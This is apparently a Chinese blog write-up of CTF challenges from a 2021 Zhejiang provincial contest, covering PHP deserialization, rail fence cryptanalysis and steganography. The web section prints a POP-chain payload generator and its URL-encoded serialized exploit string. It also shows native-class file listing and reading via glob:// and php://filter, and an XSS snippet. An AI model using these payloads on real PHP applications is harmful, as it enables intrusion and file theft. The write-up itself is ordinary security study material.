赛题笔记:2021浙江省初赛


前言

第二次参加了,开局平台直接拉胯,崩了一个多小时,真滴无语。

Web

checkin

签到题,看下返回包的header,没什么好说的。

pppop

<?php

class A1
{
    public $tmp1;
    public $tmp2;

    public function __construct()
    {
        echo "Enjoy Hacking!";
    }

    public function __wakeup()
    {
        $this->tmp1->hacking();
    }
}

class A2
{
    public $tmp1;
    public $tmp2;

    public function hacking()
    {
        echo "Hacked By Bi0x";
    }
}

class A3
{
    public $tmp1;
    public $tmp2;

    public function hacking()
    {
        $this->tmp2->get_flag();
    }
}

class A4
{
    public $tmp1 = '1919810';
    public $tmp2;

    public function get_flag()
    {
        echo "flag{" . $this->tmp1 . "}";
    }
}

class A5
{
    public $tmp1;
    public $tmp2;

    public function __call($a, $b)
    {
        $f = $this->tmp1;
        $f();
    }
}

class A6
{
    public $tmp1;
    public $tmp2;

    public function __toString()
    {
        $this->tmp1->hack4fun();
        return "114514";
    }
}

class A7
{
    public $tmp1 = "Hello World!";
    public $tmp2;

    public function __invoke()
    {
        echo "114514" . $this->tmp2 . $this->tmp1;
    }
}

class A8
{
    public $tmp1;
    public $tmp2;

    public function hack4fun()
    {
        echo "Last step,Ganbadie~";
        if (isset($_GET['DAS'])) {
            $this->tmp1 = $_GET['DAS'];
        }
        if (isset($_GET['CTF'])) {
            $this->tmp2 = $_GET['CTF'];
        }
        echo new $this->tmp1($this->tmp2);
    }
}

if (isset($_GET['DASCTF'])) {
    unserialize($_GET['DASCTF']);
} else {
    highlight_file(__FILE__);
}

反序列化题,pop链很简单,应该还有其他链

A1 -> A3 -> A4 -> A6 -> A8
<?php

class A1
{
    public $tmp1;
    public $tmp2;

    public function __construct()
    {
        $this->tmp1 = new A3();
    }

}

class A3
{
    public $tmp1;
    public $tmp2;

    public function __construct()
    {
        $this->tmp2 = new A4();
    }

}

class A4
{
    public $tmp1 = '1919810';
    public $tmp2;

    public function __construct()
    {
        $this->tmp1 = new A6();
    }

}


class A6
{
    public $tmp1;
    public $tmp2;

    public function __construct()
    {
        $this->tmp1 = new A8();
    }
}


class A8
{
    public $tmp1;
    public $tmp2;

}

$a = new A1();
echo urlencode(serialize($a));
?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D

问题就在于这里怎么利用

比赛的时候没想出来,事后问了问师傅,拿到篇文章

连异常报错也能拿到flag?

要点在于

有括号的要先算括号内的

<?php
$sql = mysqli_connect(phpinfo(),"root","root","mysql");

还可以xss

<?php
echo new Exception("$_GET[1]");
//?1=<script>alert("XSS");</script>

当然,如果是http传入,会直接当做字符串打印出来。

所以换其他原生类

读文件:

*是通配符

&DAS=DirectoryIterator&CTF=glob://*

文件名:flaggggggggggg.php

读内容

&DAS=SplFileObject&CTF=php://filter/convert.base64-encode/resource=flaggggggggggg.php

解码,结束。

Crypto

Easy Railfence

# -*- coding: utf-8 -*-
import hashlib
from flag import Rail,Offset,m

def encrypt(c,rails,offset):
    c = '$' * offset + c
    length = len(c)
    result = {x: "" for x in range(rails)}
    for a in range(length):
        width = rails * 2 - 2
        num = a % width
        if (num < rails):
            result.update({num: result[num] + c[a]})
        else:
            ll = 2 * rails - 2 - num
            result.update({ll: result[ll] + c[a]})
    d = ""
    for k in range(rails):
        d = d + result[k]
    d = d.replace('$','')
    print (d)


assert (m[:4] == "flag")

encrypt(m, Rail , Offset)
#reetdrvhns0eutbftafmeon}linnd=a1cOh!gcedos{neuwkYav0irOceytounw
#reetdrvhns0eutbftafmeon}linnd=a1cOh!gcedos{neuwkYav0irOceytounw
#flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
flag = hashlib.md5("".join(str(m))).hexdigest()

题目给了提示,栅栏

爆破key和offset。{}lg都是只有单个字符。

s = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
for rails in range(3, 1000):
    for offset in range(3, 1000):
        d = encrypt(s, rails, offset)
        if d[23] == '}' and d[42] == '{' and d[24] == 'l' and d[36] == 'g':
            print(rails, offset)

我写的爆破脚本

s = "flag{*********************************************************}"
m = "reetdrvhns0eutbftafmeon}linnd=a1cOh!gcedos{neuwkYav0irOceytounw"
a = [''] * 63
for j in range(len(m)):
    if m[j] in ['{', '}', 'l', 'g']:
        continue
    tmp = []
    for i in range(5, len(s)):
        tmp = []
        for x in s:
            tmp.append(x)
        tmp[i] = m[j]
        data = ''.join(tmp)
        en_data = encrypt(data, 13, 5)
        if en_data[j] == m[j]:
            # print(m[j], i)  # 输出可能的原位置
            if a[i] == '':
                a[i] = m[j]
            else:
                print("重复:", m[j], i)

print(''.join(a))

我这写的思路比较麻烦,简直是倒过来爆破。先是

ffffffffffb0verthefenceeveny0udOnotunderstandhowitworks!=

然后把重复的f加入过滤,

aaaaaaaaimb0vertheenceeveny0udOnotunderstandhowitworks!=

最后再加a

YOucnc1imb0vertheenceeveny0udOnotunderstndhowitworks!=
YOuc nc1imb0verthe enceeveny0udOnotunderst ndhowitworks!=

少了f和a字符,当时脑子没转过来,还在想怎么缺了字符!!!其实光是看着英文都能补全!!气死了。浪费了好多时间。

这是多对1的,多个不同字符可能会移动到相同位置还满足条件,有可能会把正确的位置给覆盖了。

这种思路其实不太好,碰到重复字符多一点就糟了。

s = "flag{*********************************************************}"
m = "reetdrvhns0eutbftafmeon}linnd=a1cOh!gcedos{neuwkYav0irOceytounw"
a = [''] * 63
for j in range(len(m)):
    for i in range(0, len(s)):
        data = s[:i] + m[j] + s[i + 1:]
        en_data = encrypt(data, 13, 5)
        if en_data[j] == m[j]:
            if a[i] == '':
                a[i] = m[j]
                break
            else:
                print("重复:", m[j], i, a[i])

print(''.join(a))

小改了一下,很接近了。

在这加个

倒是很接近,但还不够完善。这条路本来就是崎岖了,没必要走下去了。

队友写的:

def compare(str1, str2):
    ans = 0
    for i in range(len(str2)):
        if str1[i] == str2[i]:
            ans += 1
    return ans


Rail = 13
Offset = 5
m = 'flag{_________________________________________________________}'
target = 'reetdrvhns0eutbftafmeon}linnd=a1cOh!gcedos{neuwkYav0irOceytounw'
for i in range(5, 62):
    for j in range(33, 127):
        m = m[:i] + chr(j) + m[i + 1:]
        if compare(target, encrypt(m, 13, 5)) == i + 2:
            break
    print(m)

也可以用工具一把梭。

MISC

qrimg

可用Steganography导出二维码,用脚本批量跑一下

import os

cmd = 'stegolsb stegdetect -i {}.bmp -n 1'
for i in range(0, 312):
    n = str(i).zfill(5)
    filename = './qrimg/' + 'IMG' + n
    os.system(cmd.format(filename))

之后一个一个扫二维码……

将7次结果base64,结束。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录